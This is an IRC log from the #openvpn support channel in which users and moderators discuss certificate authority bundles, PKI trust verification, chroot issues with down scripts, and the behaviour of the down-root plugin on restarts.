15:07 < Freeaqingme> I am not going to. Here is why: Everything you asked has been answered a long time ago already, but for some reason everything needs to be said three times before you actually do something with it. And I'm not going to play that game with you
15:08 < deverw> Freeaqingme: You want me to put up the logs?
15:09 < deverw> I may be new but do not appear to me like an idiot
15:09 <+pekster> Stop trolling the free help you're getting here. It's getting old
15:09 < deverw> pekster: I am not bro but he said something he didnt do, So why trolling about it?
15:15 < alanjf> Does anyone have any idea?
15:16 <+pekster> alanjf: You never replied to my earlier question from several hours back:
15:16 <+pekster> 2013-10-15 12:17<+pekster> alanjf: You have a sub-CA chain or something?
15:19 < alanjf> pekster: Sorry, must have missed it. Not a sub chain in this case, just simply more than one ca.crt in one file (bundle), so I can generate updated files while still allowing the old ones to connect until everythings confirmed.
15:20 <+pekster> Should work fine so long as any cert presented can be resolved by one of the certs contained in the PEM file referenced
15:20 <+pekster> Surely this would have been just as easy to try yourself by creating a 2nd CA, cat'ing the files together, and test with a server cert from each?
15:22 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
15:35 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:39 -!- adnap_ is now known as adnap
15:47 < alanjf> pekster: Good point, thanks.
15:47 < alanjf> pekster: This brings me to a little question of curiosity; when a client connects, is it checked against the server.crt at all in some way, or just against the ca's ?
15:48 < Freeaqingme> alanjf, afaik it is checked against the CA's. It's the clients job to check the server cert
15:48 -!- akurilin [~akurilin@h-64-236-139-254.aoltw.net] has joined #openvpn
15:48 < akurilin> !flowchart
15:49 < akurilin> !welcome
15:49 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:49 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:49 <+pekster> You can't check a presented cert "against" your own issued cert; there's no trust chain there (not unless you've done very weird things)
15:49 < akurilin> !howto
15:49 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:50 <+pekster> alanjf: In order to be valid, the cert chain presented by the remote peer needs to be verifyable by the remote end which uses its own copy of the --ca PEM file to define the trusted authorities
15:50 <+pekster> Same way your browser works when it gets a cert chain from a web site
15:50 < alanjf> How would a client check the server's crt though? Wait, each client is supposed to have the same CA cert to check against, right? I thought clients weren't requires to have the CA certs, just the server?
15:50 <+pekster> Clients _never_ need the server cert
15:51 <+pekster> (they get that in the handshake, sent _by_ the server itself)
15:51 < alanjf> pekster: Ah, so if the CA were to change, it would have to be (re)distributed to each client?
15:51 <+pekster> Right
15:51 < alanjf> Ah ok I see.
15:51 < alanjf> Thank you.
15:51 <+pekster> I have an intro document on how PKI works that breaks it down a little more: https://www.pekster.net/staging/josh/easyrsa3/Intro-To-PKI.html
15:52 < alanjf> pekster: Thank you very much for that link.
15:53 < alanjf> (Although it seems a tad ironic that a site about PKI is giving me "sec_error_untrusted_issuer" (https) :) )
15:53 < Freeaqingme> cert expired
15:54 <+pekster> Yes, I know. Yet you're willing to take advice from me over IRC? Irony works both ways here ;)
15:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:54 < Freeaqingme> I could connect over ssl to freenode ;(
15:54 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
15:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:55 < akurilin> Where di the flowchart go? I must be using the wrong !
15:55 <+pekster> I do, and use client-side keypairs for authentication. Of course, if you don't (or the server is compromised) it won't matter anyway
15:55 < alanjf> Indeed, but I have little trouble accepting advise over IRC. I don't necessarily believe everything I read, but I'm pretty good at deserning when I'm talking with a good person such as your self :)
15:55 <+pekster> akurilin: Maybe you wanted !redirect, !serverlan, or !clientlan ?
15:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:55 < alanjf> Freeaqingme: indeed, it expired in July.
15:55 < akurilin> !serverlan
15:55 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
15:55 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
15:55 <+pekster> Right, not that it matters unless you exchanged keys with me anyway since I run my own roots
15:56 <+pekster> I could gpg-sign it for you, but even _that_ won't help you since you can't trust a GPG fingerprint you haven't verified either
15:56 <+pekster> Or you could just click past the warning becuase I don't host on port 80 :D
15:57 <+pekster> Don't make me change the hosting to a .onion address ;)
15:58 < Freeaqingme> heh
16:00 < Freeaqingme> so basically we should meet sometime, so I can sign your gpg keys, so you can sign your ca with your gpg key, so I can browse that page. Right? ;)
16:00 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:03 <+pekster> Not at all; browse the page by clicking past the pointless security warning
16:03 < Freeaqingme> or that
16:03 <+pekster> As it stands, I'm using it as a form of OE and nothing more
16:03 < Freeaqingme> OE?
16:04 <+pekster> https://en.wikipedia.org/wiki/Opportunistic_encryption
16:04 <@vpnHelper> Title: Opportunistic encryption - Wikipedia, the free encyclopedia (at en.wikipedia.org)
16:04 < Freeaqingme> ah
16:05 <+pekster> You have no way to verify that page really came from "me" (whoever I am) but you can be sure that no one passively monitored or tampered with it; an active MITM attack is required to spoof the cert, which is much different and more involved. This is also why openvpn won't let you "just trust" a remote cert without a copy of the CA as it would destroy the strong security assurance
16:10 < alanjf> But why does a client necessaily need a copy of the CA, whe nit's the server that really to verify that the client's cert was geenrated against the server's CA?
16:11 <+pekster> Both sides do the same verification (see the 'Verifying an issued certificate' part of my writeup)
16:16 < alanjf> But why is it important that a client verify the server's cert, when it's the server that should be worrying about the clients, no? Sort like with ssh?
16:16 <+pekster> ssh does both too
16:16 < alanjf> Last I checked ssh doesn't require you to give clients a CA though.
16:16 <+pekster> You have to specifically trust the fingerprint from the server as a client; if you decline that, the connection fails
16:16 <+pekster> You can use client keypairs too; read about publickey authentication in the ssh docs
16:17 <+pekster> Either way you're not trusting the "signing cert" of the server becuase it's a self-signed keypair
16:17 <+pekster> Thus you need to verify the fingerprint "by hand"
16:17 < alanjf> I didn't know that openvpn supported ssh-eque key pair setup.
16:17 <+pekster> So you _are_ verifying the server, just in a different way
16:17 <+pekster> It's the difference between the X509 model and a standard RSA exchange
16:18 <+pekster> openssh has support for both
16:18 <+pekster> (this said, few people eactually use X509 in practice)
16:18 < deverw> Freeaqingme
16:18 < deverw> all people
16:18 < deverw> sorry about before
16:18 < deverw> I appreciate your help
16:19 < alanjf> Right. My point was, though, that with ssh, one doesn't need to pass around a CA to each client and make sure each client gets it if you for whatever reason have to update it.
16:20 <+pekster> You _do_ if you're using the X509 auth model
16:20 -!- akurilin [~akurilin@h-64-236-139-254.aoltw.net] has quit [Quit: Leaving]
16:20 <+pekster> You seem to be happy to ignore the differences between a PKI and unsigned keypairs
16:21 <+pekster> RSA is merely a component in an X509 PKI
16:21 < alanjf> TBH I've never heard of using x509 with ssh, although I'm not surprised that it's doable.
16:21 < alanjf> pekster: I'm not ignoring the differences, I understand what you were saying. Sorry if I gave the wrong impression.
16:21 < alanjf> Right.
16:22 <+pekster> Both systems are in fact doing mutual authentication, but they do it differently. You _are_ in fact verifying the server when you use publickey ssh (RSA keys only, no X509 PKI.) The "unknown fingerprint" warning is actually quite serious if you don't check it and are being presented a false public key
16:22 < alanjf> That's true.
16:29 -!- mattock is now known as mattock_afk
16:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:45 -!- klein [~klein@unaffiliated/klein] has quit [Remote host closed the connection]
16:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
17:24 -!- illusion [~illusion@198.55.107.66] has joined #openvpn
17:24 < illusion> hello
17:29 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has joined #openvpn
17:30 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has quit [Remote host closed the connection]
17:31 -!- Kobaz [~kobaz@its.kobaz.net] has left #openvpn ["Leaving"]
17:34 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Remote host closed the connection]
17:34 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
17:36 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
17:37 -!- michaelhart [~michaelha@162.209.54.120] has quit [Client Quit]
17:40 -!- Aelius [~link@unaffiliated/aelius] has quit [Ping timeout: 245 seconds]
17:40 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
17:44 < crass> shouldn't openvpn catch SIGINT and run the down script if its connected?
17:45 < illusion> how can i connect to my openvpn-as with icmp not udp or tcp ? how to do that ?
17:48 < crass> illusion: did you read the topic?
17:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:49 < illusion> crass, sorry for that
17:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:51 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has quit [Ping timeout: 245 seconds]
17:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
18:00 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 260 seconds]
18:02 -!- illusion_ [~illusion@198.55.107.75] has joined #openvpn
18:05 -!- illusion [~illusion@198.55.107.66] has quit [Ping timeout: 248 seconds]
18:16 < crass> ok, looks like it does try to run the down script on SIGINT
18:21 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Ping timeout: 240 seconds]
18:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
18:21 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
18:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:34 -!- ludde [~b@62.65.106.155] has quit [Ping timeout: 268 seconds]
18:35 < deverw> How do you make so that openvpn server does not log any logs?
18:37 -!- master_o1_master [~master_of@p4FD7B829.dip0.t-ipconnect.de] has joined #openvpn
18:40 <+pekster> deverw: Read about --verb, --syslog, --daemon, and --log
18:40 -!- master_of_master [~master_of@p4FF2412D.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
18:42 <+pekster> Don't PM me. If you're unwilling to read documentation I'm certainly not going to install it for you
18:42 -!- krapper [krapper@territory.krapper.net] has quit [Ping timeout: 240 seconds]
18:50 < deverw> I could pay somebody who helped me
18:50 < deverw> or give them VPN account / VPS access to my server for 1 year
18:50 <@ecrist> don't PM users uninvited.
18:52 -!- krapper [krapper@23.21.191.223] has joined #openvpn
18:56 < crass> has anyone run into problems running down scripts from a chrooted openvpn?
18:57 < crass> I can't seem to get openvpn to find the program/script to run, even though its in the root of the chroot
19:03 <+pekster> crass: It's a known bug with a patch that hasn't yet made it to git-master
19:03 <+pekster> crass: If you're willing to reocmpile from source, this patch should fix it for you: http://article.gmane.org/gmane.network.openvpn.devel/7873
19:03 <@vpnHelper> Title: Gmane -- PATCH Fix file access checks when using chroot (at article.gmane.org)
19:04 <@krzee> pekster++
19:04 <+pekster> Ah, I also listed a workaround in the bugreport too if that's not a good option for you: https://community.openvpn.net/openvpn/ticket/330
19:04 <@vpnHelper> Title: #330 (crl-verify and client-config-dir paths are incorrectly checked in 2.3.*) – OpenVPN Community (at community.openvpn.net)
19:07 -!- klein [~klein@187.85.186.168] has joined #openvpn
19:07 -!- klein [~klein@187.85.186.168] has quit [Changing host]
19:07 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
19:10 < crass> pekster: thanks, looking at that stuff now, but it doesn't sound quite my problem
19:10 < crass> execve("./bash", ["./bash", "-c", "( pwd; ls -l; ) > /tmp/xxx.out", "tun0", "1500", "1559", "10.211.1.1", "10.211.1.2", "init"], [/* 31 vars */]) = -1 ENOENT (No such file or directory)
19:11 < crass> it seems to not even find the bash executable, not a perms issue
19:11 <+pekster> If you're using >=2.3.0 and trying to call scripts from a chroot, that is broken unless you either use the listed workaround or apply the patch
19:12 < crass> ok, that appears to be my situation, I'll see if the patch/workaround works
19:12 <+pekster> And naturally, if in a chroot you need bash (and all the dynamic libraries it needs) present
19:12 <+pekster> If you're running a 2.2.x or earlier version, that bug won't apply
19:12 <+pekster> (bug #330 -- the linking issue is always present in a chroot)
19:13 < crass> ahh, ok, it might be partly a library issue
19:14 <+pekster> Do you have a "./bash" at your chroot dir?
19:14 <+pekster> when you have a chroot, _everything_ you intend to call or use needs to be present in that directory
19:14 < crass> yes, but maybe not libs
19:14 <+pekster> Including the entire library list linked by ldd $(which bash)
19:14 < crass> yes, I know that, but I forgot about libs :)
19:16 < crass> I was actually already using the work around (wihtout knowing that I needed it), but the problem seems to be I forgot some dependencies
19:17 <+pekster> Ah, Yea, if you omit the --cd (rightly figuring the --chroot operation already does a cd to the chroot's view of "/" after the operation) or attempted to use an absolute path, it would fail
19:19 -!- defswork [~andy@141.0.50.105] has quit [Read error: Operation timed out]
19:19 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:24 -!- defswork [~andy@141.0.50.105] has quit [Read error: Operation timed out]
19:25 -!- warped_ [~w@71.92.4.158] has quit [Quit: Leaving]
19:31 -!- cconsta|work [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 272 seconds]
19:36 < hjohnson> the usual way to do this is a loop mount IIRC, though the main reason why I ahve a chroot is to have an i386 build environment on my amd64 system
19:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
19:37 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:37 <@ecrist> that sounds very backwards
19:37 <@ecrist> why aren't you buliding amd64 openvpn?
19:37 <@ecrist> chroot eliminated
19:41 < hjohnson> ecrist: OpenVPN is running on a little embedded geode box. :)
19:41 < hjohnson> ecrist: I don't have have a build environment on there.
19:42 <+pekster> One generally cross-compiles for tasks like that; I build for MIPS that way and I clearly don't have a cross-compiler on that
19:42 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Quit: elfixit]
19:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
19:43 < hjohnson> pekster: yeah, the challenge for i386 from amd64 has to do with the library setup on debian iirc... just easiest to pull that off in a chroot prison
19:43 < hjohnson> (I cross-compile for atmel AVR all the time :P)
19:43 < crass> hjohnson: using schroot?
19:44 < hjohnson> crass: just plain old chroot
19:44 <+pekster> YMMV, but I'm doing mingw (both 32 & 64 bit) builds for Windows from a 64-bit ubuntu server install. No chroot needed there either
19:44 < crass> hjohnson: ok caus eyou mentioned debian, which has this nice schroot app for managing chroots
19:44 < hjohnson> pekster: I'm sure there are other ways of doing it, in the quick point I wanted to get things done, the most expedient was to install an ia32 environment and build within it
19:46 -!- deverw [~dever@109.201.152.243] has quit []
19:47 < crass> so, I've decided to use the down-root plugin to test the down script without the chroot, however it does run the script with the same semantics as --down
19:47 < crass> is this a known issue?
19:47 < crass> *doesn't run
19:49 < crass> specifically it doesn't set the script_type envvar
19:53 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has quit [Remote host closed the connection]
19:54 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has joined #openvpn
19:58 <+pekster> crass: Without digging much in the code, it's possible the environment passed before the priv downgrade is somehow different
19:59 -!- crus` [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has joined #openvpn
19:59 < crass> yes, but it contrary to the spec with respect to "script_type"
19:59 -!- Falconor [~Falconor@unaffiliated/falconor] has joined #openvpn
19:59 < crass> I'm not as familiar with the plugin contract (it might be the same) to say if this is a plugin or openvpn issue
20:00 < crass> also --up runs in root, so it should have the same env as that
20:01 < crass> I'll file a bug for it
20:01 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has quit [Ping timeout: 246 seconds]
20:01 <+pekster> Well, I'm not sure  much can be done about it, but feel free to file a bug anyway
20:02 < crass> in the case of the script_type envvar, all that down-root needs to do is set that variable before executing the prog
20:03 < crass> now there might be other things that need to be done as well that may be more difficult to solve
20:04 <+pekster> I guess it's only relevant if you're trying to f.ex use the same script for --down as you do for --up
20:04 < crass> but as it stands there's not a clear way for a prog to determine why it was called
20:04 < crass> right, which I think is the point of the script_type var
20:05 <+pekster> But it will _always_ be "down" in that context
20:05 < crass> sure, but how does it know its being called in that context?
20:05 -!- crus` [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has quit [Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com )]
20:05 <+pekster> Becuase there's no other possible context for --down to be called
20:05 -!- raidz is now known as raidz_away
20:06 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 260 seconds]
20:06 < crass> I'm not following, if I have --up prog --plugin down-root.so prog, how does the prog know when it was called as down?
20:07 <+pekster> Right, in that case it wouldn't, although I suppose you could infer a lack of script_type implied down. That's the valid use-case I pointed out above
20:08 <+pekster> Since it's just hardcoded in init.c anyway, it probably couldn't hurt to do the same in the plugin, if someone figures out the best way
20:09 < crass> right, just makes things more consistent
20:09 < crass> my hack around it was to pass "bash -c 'script_type=down prog'" as the arg to down-root
20:10 <+pekster> Well, lots of other stuff won't be set either that it can't know due to the fork
20:10 < crass> hmm, I'm seeing all the normal envvars
20:10 <+pekster> You can't get signal, script_context, tun_mtu, link_mtu, or dev either. Maybe dev_type, although it's possible those last 2 exist in the pre-fork environment too
20:11 < crass> are you suggesting that they wouldn't change, eg. if I wsa running as server for different clients?
20:11 <+pekster> Do you get any of the first few I mentioned?
20:11 < crass> I see mtus there
20:11 < crass> also script context
20:11 < crass> all of them are there
20:11 <+pekster> Hmm, interesting
20:12 <+pekster> Out of curiousity, what is script_context (that's the one that is also hard-coded besides script_type in the normal non-plugin process)
20:12 < crass> its init
20:12 < crass> as it should be
20:12 < crass> well in this case
20:13 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
20:15 <+pekster> Ah, I guess that plugin ignores the
20:15 <+pekster> .. the SIGUSR1 case for restarts, so maybe you'd never see "restart" as the context
20:16 < crass> those envvars are set outside the plugin anyway, I don't thinkt he plugin sets and envvars
20:17 < crass> *any
20:17 <+pekster> That's my point
20:17 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has joined #openvpn
20:17 <+pekster> The "down" or "pre-down" or w/e comes from a hard-coded string in init.c which won't get processed for script_type as it stands now
20:17 < crass> but then, might it get a restart if the parent (openvpn) got one and then ran the plugin?
20:18 <+pekster> The plugin won't run for that signal
20:18 <+pekster> It specifically ignores all but the SIGTERM case
20:18 < crass> that's for all plugins, or just this one?
20:18 <+pekster> That one. down_root.c:201
20:18 < crass> yeah, I saw that
20:19 < crass> so, then it still seems like it could get called with script_context=restart
20:19 < crass> hmm, no
20:21 < crass> openvpn_plugin_func_v1 is only ever called once per plugin? or would it be per conenction?
20:25 <+pekster> Once on server shutdown according to include/plugin.h
20:26 < crass> I think you must mean server startup
20:26 < crass> err, openvpn startup
20:26 <+pekster> Not for "DOWN", no
20:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:28 < crass> I'm not sure what you mean there, but it looks to me that all openvpn_plugin_func_v1 calls ultimately called from init_plugins in openvpm_main in the initialize part
20:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:28 < crass> thus the down-root daemon is started only once at process initialization
20:28 <+pekster> Oh, right, (I'm new to most of the plugin code) but the callback stuff is defined after the openvpn_plugin_open_v1()
20:30 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Ping timeout: 248 seconds]
20:30 <+pekster> Right, but forget the daemon (background process) for a moment: it only triggers the DOWN callback when the server is actually shutting down, which must be why it ignores the SIGUSR1 signal
20:31 < crass> hmm, it doesn't call callback for every connection down?
20:31 <+pekster> Try it and see? :)
20:32 < crass> well, that entails setting up a server :/
20:33 <+pekster> --down is just for SIGUSR1 and SIGTERM situations, both of which can be caused by a client or server
20:34 < crass> there's no tun/tap close on connection restart?
20:34 <+pekster> Depends on --persist-tun
20:34 <+pekster> You effectively _need_ that if you're in a chroot
20:34 < crass> ok, so if its off then yes
20:35 <+pekster> (or using --user or --group, which is why the plugin probably doesn't support something that won't ever happen)
20:35 <@ecrist> this AWS instance is S L O W
20:35 < crass> until someone write an up-root plugin :)
20:36 <+pekster> --up already is run as root (it gets hit before the downgrade and chroot operations)
20:36 <@ecrist> yup yup
20:37 < crass> pekster: right, but on connection restart doesn't it get run again?
20:37 <+pekster> Although use of --up and --up-restart probably breaks in a chroot unless the script is availble in the chroot too :P
20:37 < crass> right
20:37 <+pekster> --up, yes, but apparently not the down-root plugin AFACT
20:38 <@ecrist> I don't think it can break out of the jail once it's jailed
20:38 < crass> oh, no, I was refering to the fact that up-restart will cause --up to run in the chroot and potentially as a different user
20:38 <@ecrist> pretty certain of that
20:38 <+pekster> Again, should be easy enough to test with the down-root plugin, a test log message, --up-restart, and a SIGUSR1 signal (making sure to keep --persist-tun and --persist-key
20:39 <+pekster> ecrist: down-root plugin forks before the chroot
20:39 < crass> so, seems there might be a use case for an up-root plugin
20:39 <@ecrist> imho, openvpn shouldn't run in a jail anyways
20:39 < crass> ecrist: why not?
20:39 <+pekster> But, the child process exits after being called once, and it can't "re-obtain" its root access once it does that (since the child, even if it did call the plugin init, won't have the root privs needed)
20:40 <@ecrist> kind of like how people try to run firewalls inside a jail/chroot
20:40 < crass> pekster: which child process? --up or down-root
20:40 < crass> ecrist: I think everything should ideally be run in chroot
20:41 <+pekster> The down-root child backgrounded (forked) pid
20:41 < crass> where there's nothing in that chroot that the process doesn't need
20:41 <@ecrist> crass: there comes a point where the code complications required for the chroot support are more cumbersome than they're worth
20:41 <+pekster> The problem is it really only makes sense to run an openvpn server in a chroot due to the volitility of pushed options and IPs on restarts
20:41 < crass> pekster: ok, still not following, currently the down-root daemon is run before proving privs, so it is root
20:42 <+pekster> crass: tl;dr here is that the plugin can _not_ run on restarts, ever, due to its design
20:42 < crass> ecrist: that's impelementation details
20:42 <@ecrist> s/to.*$/to the whole fucking point of a chroot/
20:43 < crass> pekster: ok, I've been miscommunicating
20:43 < crass> I didn't mean process restarts, I mean connection restarts
20:43 <+pekster> whcih is a "soft-restart" or SIGUSR1
20:44 < crass> right, but at that point openvpn has dropped privs, so --up can not be run as root
20:44 <+pekster> ..
20:44 < crass> thus the use case for up-root
20:44 <+pekster> I'm not even talking about --up. I have no clue what you're on about, but it's really not worth discussing
20:44 <@ecrist> heh
20:44  * ecrist has been trying to say...
20:45 < crass> yeah, I think there's a couple different threads going on
20:46 < crass> seems like down-root should run its prog for each connection down, if it doesn't already
20:46 <@ecrist> there's no way to re-call it, once you're in the chroot
20:47 < crass> ecrist: sure there is, down-root creates a subprocess server running as root
20:47 < crass> just make sure you've got your paths relative
20:48 <+pekster> Right. What you're asking for is impossible. down-root has "one life" and once you use it you cannot continue
20:48 <+pekster> "path relative" ???
20:48 <@ecrist> I don't think you understand how chroot's work, crass
20:49 < crass> ecrist: you might be right, but I thought only the process calling the chroot would chroot not subprocesses
20:49 < crass> so then my comment about relative paths should be ignored
20:49 <@ecrist> no, everything sub gets chroots
20:49 <@ecrist> chrooted*
20:50 <@ecrist> otherwise, you chroot your openvpn, I exploit, and create a non-chrooted csh instance.  boom, pwned
20:50 <@ecrist> no fucking point to the chroot
20:50 < crass> oh, I see
20:50 <@ecrist> there are a few different reasons people chroot things
20:50 < crass> ecrist: of course child spawned after chroot would be chrooted
20:51 <@ecrist> for instance, we build PXE images as $work, and we chroot to the PXE root to install packages and such
20:51 < crass> but why should child spawned before?
20:51 <@ecrist> benefit there isn't security, but root (aka /) is within the chroot
20:51 <@ecrist> child spawned before does task and dies
20:51 < crass> no, I understand chroot
20:51 <+pekster> A child isn't the same as a fork(). Yes, the "background process" is run as root, but it can't get another callback
20:51 <@ecrist> you can't talk "out" of a chroot to the parent process
20:52 <+pekster> It's a "one shot deal" (see down-root.c:391. Once you hit that, it's Game Over, No More Quarters To Continue)
20:52 <@ecrist> all you can do is exit, and you're back to the parent process, killing all other children
20:53 <+pekster> Well, sort of, except for the fd that stays open between the chroot and its (priveliged) fork
20:53 < crass> pekster: ok, I see, however it needn't be implemented that way
20:53 <+pekster> That's how it is implemented and doing it otherwise would be a complete re-design of the plugin system that doesn't exist today
20:53 < crass> ecrist: I'm not really following you
20:54 <@ecrist> crass: unless you plan to patch openvpn yourself, and submit such, I wouldn't plan on seeing a change any time soon.
20:54 <+pekster> Unless you're willing to write it, it's not happening
20:54 <@ecrist> jinx
20:54 <+pekster> The script_type thing is probably an easy fix, but "using down-root with --up-restart *and* expecting it to work on SIGUSR1 restarts" simply won't happen
20:54 < crass> ok, I'm just fleshing out what's technically impossible, and what can't be done due to the current design
20:54 <+pekster> I can't possibly see a use-case for wanting that either
20:55 <@ecrist> doing what you're asking isn't going to be feasible
20:55 <@ecrist> not due to design of openvpn, but the whole point of a chroot
20:55 <+pekster> restarting it no, but you already can today "run the --down script as openvpn exits as root" thanks to the fork();
20:56 < crass> pekster: I wasn't thinking in terms of SIGUSR1, but when a connection must get restarted due to some network issue
20:56 <+pekster> That's a SIGUSR1. You're just not listening to that point
20:56 <+pekster> down-root.c:205   signal (SIGUSR1, SIG_IGN);
20:56 <+pekster> It's _IGNORED_. Don't know how much more obvious it gets
20:57 < crass> ecrist: communications can go between processes that hae chrooted, but it has to be setup before the chroot
20:57 < crass> pekster: its not that I'm not listening, but I may not be understanding
20:57 <@ecrist> of course, but, it's different
20:58 < crass> why I don't understand is why a SIGUSR1 would be generated for a connection drop
20:58 < crass> *what
20:58 <+pekster> Go read SIGNALS in the manpage then
20:58 <+pekster> It's pretty obvious if you actually read what generates them
20:58 <@ecrist> the point I'm trying to make is, if the chrooted openvpn process can signal and/or instruct a separate process to change/modify the chrooted process or it's environment, what's the point of the chroot
20:59 < crass> pekster: ok, I wan't aware that SIGUSR1s were generated because of network events, in fact I wasn't aware the kernel ever generated them except when asked to
20:59 < crass> I'll look into it
21:00 <+pekster> Well naturally, someone asked the code to generate one :P
21:01 < crass> ecrist: if I understand you correctly, that can currently be done with chroot, and yes it would make the security less to configure things that way
21:01 < crass> pekster: I meant user generated, not system generated
21:01 < crass> for instance a SIGPIPE will be generated with one end of a pipe disappears while you're using it
21:02 < crass> yeah the man just says those are user defined signals
21:03 < crass> so I don't see how they are related to the network, openvpn has given them meaning, but if a user doesn't generate them then that code doesn't affect openvpn
21:03 < crass> err, the running openvpn process
21:03 <+pekster> Then you obviously failed to read the part where it says "This signal may also be internally generated  by  a  timeout  condition,  governed  by  the --ping-restart option."
21:03 <+pekster> When I suggested you read SIGUSR1 under the SIGNALS part of the manpage, I meant more than the first sentence
21:03 < crass> oh, you're talking about in openvn
21:03 <+pekster> THE MANPAGE. There is only THE ONE
21:04 <@ecrist> crass: go read docs
21:04 <@ecrist> you're approaching a +q
21:04 < crass> can we calm down a bit, I'm sensing some real frustration here
21:05 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
21:05 < crass> pekster: by man page I thought you meant man 7 signal
21:05 < crass> I see now what you're talking about
21:06 < crass> anyway, I thought this was an interesting technical discussion, but seeing as it has no practical purpose for me at the time being, I'll drop it
21:08 <+pekster> fwiw, there are 9 places in the code that generate a SIGUSR1 signal: grep -nRE ' = +SIGUSR1' *
21:11 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Read error: Operation timed out]
21:20 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
21:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
21:27 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
21:27 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Changing host]
21:27 -!- haxle [~haxle@unaffiliated/haxle] has joined #openvpn
21:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
21:38 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
21:52 <@ecrist> grr.  even the internet is slow on this vm
21:54 <+pekster> Trade you problems; I have an openssl binary that works fine except when called from busybox under Windows XP (but not Vista, and not when called from either bash or cmd.exe.) I'd give up fast tubes for a bit to fix it ;)
21:56 <@ecrist> heh
21:56 <+pekster> I'll go back to win-bash if I have to, but the allure of a 400k "all in one POSIX binary" is a little too appealing
21:57 <+pekster> Best part: COLOR!
21:58 <@ecrist> 7.32Mbps  :(
